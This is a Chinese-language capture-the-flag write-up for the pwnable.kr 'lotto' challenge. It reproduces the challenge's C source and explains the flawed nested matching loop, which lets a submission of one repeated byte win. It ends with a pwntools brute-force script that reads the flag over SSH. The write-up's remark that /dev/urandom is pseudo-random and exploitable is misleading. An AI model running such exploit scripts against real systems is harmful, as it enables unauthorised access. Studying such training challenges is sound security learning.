pwnable。好像最近的几道题都不需要看汇编。
ssh lotto@pwnable.kr -p2222 (pw:guest)
直接down下来源码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> unsigned char submit[6]; void play(){ int i; printf("Submit your 6 lotto bytes : "); fflush(stdout); int r; r = read(0, submit, 6); printf("Lotto Start! "); //sleep(1); // generate lotto numbers int fd = open("/dev/urandom", O_RDONLY); if(fd==-1){ printf("error. tell admin "); exit(-1); } unsigned char lotto[6]; if(read(fd, lotto, 6) != 6){ printf("error2. tell admin "); exit(-1); } for(i=0; i<6; i++){ lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45 } close(fd); // calculate lotto score int match = 0, j = 0; for(i=0; i<6; i++){ for(j=0; j<6; j++){ if(lotto[i] == submit[j]){ match++; } } } // win! if(match == 6){ system("/bin/cat flag"); } else{ printf("bad luck... "); } } void help(){ printf("- nLotto Rule - "); printf("nlotto is consisted with 6 random natural numbers less than 46 "); printf("your goal is to match lotto numbers as many as you can "); printf("if you win lottery for *1st place*, you will get reward "); printf("for more details, follow the link below "); printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01 "); printf("mathematical chance to win this game is known to be 1/8145060. "); } int main(int argc, char* argv[]){ // menu unsigned int menu; while(1){ printf("- Select Menu - "); printf("1. Play Lotto "); printf("2. Help "); printf("3. Exit "); scanf("%d", &menu); switch(menu){ case 1: play(); break; case 2: help(); break; case 3: printf("bye "); return 0; default: printf("invalid menu "); break; } } return 0; }
看到随机数是从 /dev/urandom中取出的,搜了一下,发现这个是伪随机。
最开始的想法是直接找到第一个爆破一下,发现爆破难度还是挺大的,因为每次运行都是不一样的,这个是系统自行维护的。
找一下源代码吧。
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
这部分乍一看好像没问题,循环6*6次,找到6次一样的就够了。
大致想想好像没啥问题,但是总觉得不对,如果这样输入6个1,当产生的lotto[6]中有一个是1就bypass了。
上脚本验证一下:
from pwn import * s= ssh(host='pwnable.kr',user='lotto',password='guest',port=2222) pro = s.process('/home/lotto/lotto') print pro.recv() pro.sendline('1') print pro.recv() str1 = "" str1 += chr(1)+chr(1)+chr(1)+chr(1)+chr(1)+chr(6) pro.sendline(str1) revcstr = pro.recv() print len(revcstr),revcstr #exit() while 1: pro.sendline('1') print pro.recv() pro.sendline(str1) a = pro.recv() if len(a)>71: #71是先验知识,指输入错误返回字符串的长度,就是下面字符串的长度 print a break #pass
'''
Lotto Start!
bad luck...
- Select Menu -
1. Play Lotto
2. Help
3. Exit
'''
运行一下: